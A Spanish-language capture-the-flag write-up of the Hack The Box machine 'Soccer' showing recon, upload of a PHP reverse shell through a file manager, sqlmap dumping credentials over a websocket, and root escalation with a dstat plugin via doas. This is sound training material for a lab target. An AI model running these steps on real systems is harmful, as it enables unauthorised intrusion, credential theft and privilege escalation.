Soccer
En esta ocasión tenemos otra máquina easy de Hack The Box, donde conseguiremos una reverse shell inicial que nos servirá para obtener información adicional y posteriormente realizar nuestra primera inyección SQL para conseguir acceder al sistema.
Reconocimiento de Puertos
Como siempre, empezaremos realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ sudo nmapauto 10.10.11.194
[*] Reconocimiento inicial de puertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 21:27 CEST
Initiating SYN Stealth Scan at 21:27
Scanning 10.10.11.194 [65535 ports]
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 21:27, 11.64s elapsed (65535 total ports)
Nmap scan report for 10.10.11.194
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
Raw packets sent: 65669 (2.889MB) | Rcvd: 65535 (2.621MB)
[*] Escaneo avanzado de servicios
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 21:27 CEST
Nmap scan report for 10.10.11.194
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sat, 10 Jun 2023 19:27:40 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 10 Jun 2023 19:27:40 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94%I=7%D=6/10%Time=6484CEA6%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2019:27:40\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2019:27:40\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,\
SF:x2010\x20Jun\x202023\x2019:27:40\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Si tratamos de cargar el puerto 80:
❯ curl 10.10.11.194 -L
curl: (6) Could not resolve host: soccer.htb
Se aplica virtualhost. Añadimos el dominio en el /etc/hosts:
❯ echo "10.10.11.221 soccer.htb" | sudo tee -a /etc/hosts
Si cargamos ahora de nuevo con el navegador:
Fuzzing
Como no vemos nada interesante, vamos a realizar fuzzing:
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u http://soccer.htb/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2023/06/10 22:06:50 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 6917]
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 881841 / 882244 (99.95%)
===============================================================
2023/06/10 22:13:24 Finished
===============================================================
Encontramos el recurso tiny, y si vemos lo que tiene:
Nos encontramos un file manager. Por lo que puedo comprobar en el directorio raíz no disponemos de permisos para crear contenido, sin embargo, dentro de la carpeta “tiny” hay otra carpeta llamada “uploads” en la cual sí permite escribir, así que intentaremos subir la típica reverse shell de Pentestmonkey que podemos descargar desde esa URL. En nuestro caso como usamos Kali, ya viene incluida:
Reverse shell
❯ locate php-reverse-shell
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
❯ cp /usr/share/webshells/php/php-reverse-shell.php rev.php
❯ nano rev.php
Ahora realizamos el tratamiento de la TTY inmediatamente, o al estar mediante una VPN perderemos la shell en cualquier momento.
Si miramos las conexiones abiertas en escucha, podemos ver que hay ciertos servicios corriendo:
www-data@soccer:/etc/nginx/sites-available$ ss -tnlp
ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:9091 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1125,fd=6),("nginx",pid=1124,fd=6))
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=1125,fd=7),("nginx",pid=1124,fd=7))
LISTEN 0 128 [::]:22 [::]:*
De esta forma, si examinamos un poco el servidor y nos vamos al directorio /etc/nginx/sites-available podemos ver que existe otra web aparentemente:
Virtualhost
www-data@soccer:/etc/nginx/sites-available$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Dec 1 2022 .
drwxr-xr-x 8 root root 4096 Nov 17 2022 ..
-rw-r--r-- 1 root root 442 Dec 1 2022 default
-rw-r--r-- 1 root root 332 Nov 17 2022 soc-player.htb
Si revisamos la configuración del virtualhost:
www-data@soccer:/etc/nginx/sites-available$ cat soc-player.htb
cat soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Hemos descubierto el subdominio soc-player.soccer.htb, que añadiremos al /etc/hosts.
Luego al acceder a la web, nos registraremos en la página:
Y tras loguearnos veremos un sistema de tickets:
Si revisamos un poco la misma podemos ver que la petición se realiza a un websocket:
Si las imágenes no se ven bien al estar embebidas, abridlas en una nueva pestaña y se verán en grande.
Aquí también enseño la respuesta a los inputs que introducimos como ticket:
De esta forma, parece susceptible a SQL injection, por lo que nos apoyaremos de la herramienta sqlmap (no muestro el verbose de la misma ya que no aporta nada y es largo):
SQL injection
❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' -D soccer_db --tables
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
❯ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"44"}' -D soccer_db -T accounts --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | P******************2 | player |
+------+-------------------+----------------------+----------+
Ya tenemos los datos de un usuario, todo apunta a que ahora podremos conectarnos por SSH y leer la flag de user.
❯ ssh player@10.10.11.194
player@10.10.11.194's password:
Permission denied, please try again.
player@10.10.11.194's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jun 11 16:44:33 UTC 2023
System load: 0.07
Usage of /: 70.1% of 3.84GB
Memory usage: 19%
Swap usage: 0%
Processes: 271
Users logged in: 1
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:feb9:7ee
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Jun 11 16:42:56 2023 from 10.10.14.120
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt
Escalada de privilegios
Como siempre empezaremos viendo la lista de grupos a la que pertenecemos y los comandos que podemos ejecutar como otro usuario:
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ sudo -l
[sudo] password for player:
player@soccer:~$
Por aquí no tenemos nada, veamos los binarios SUID:
player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign
El primero que vemos no me suena de nada, así que buscamos información del mismo y vemos que tiene un fichero de configuración, supuestamente en /etc/doas.conf, pero no lo localizo, así que lo buscamos y lo revisamos:
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
Nos indica que podemos usar dstat como root con doas, así que nos vamos a nuestro compañero https://gtfobins.github.io/gtfobins/dstat/ para ver cómo aprovecharnos de esto:
player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ /usr/local/bin/doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# cd /root
# ls
app root.txt run.sql snap
# cat root.txt
Con esto hemos finalizado la máquina. Las de Hack The Box son bastante más complejas y se me atragantan en ciertos puntos bastante, pero están bien porque se aprenden muchas cosas. Nos vemos en la siguiente.